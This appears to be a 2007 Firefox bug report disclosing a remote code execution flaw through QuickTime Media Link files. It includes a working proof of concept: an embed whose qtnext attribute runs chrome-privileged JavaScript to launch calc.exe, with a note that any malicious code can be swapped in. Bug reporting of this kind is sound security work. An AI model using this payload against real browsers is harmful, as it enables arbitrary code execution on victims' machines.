User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 <?xml version="1.0"> <?quicktime type="application/x-quicktime-media-link"?> <embed src="a.mp3" autoplay="true" qtnext="-chrome javascript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('c:\\windows\\system32\\calc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);"/> Reproducible: Always Steps to Reproduce: 1. Use the code, and replace the line 'file.initWithPath('c:\\windows\\system32\\calc.exe' with any malicious code 2. Boum 3. Drink a coffee. Actual Results: Something like badgad? Expected Results: Fx should not launch quicktime if the file is not a true mp3 file (or any other multimedia file).

Duplicate, and since this issue's public there's no need for this bug to remain private.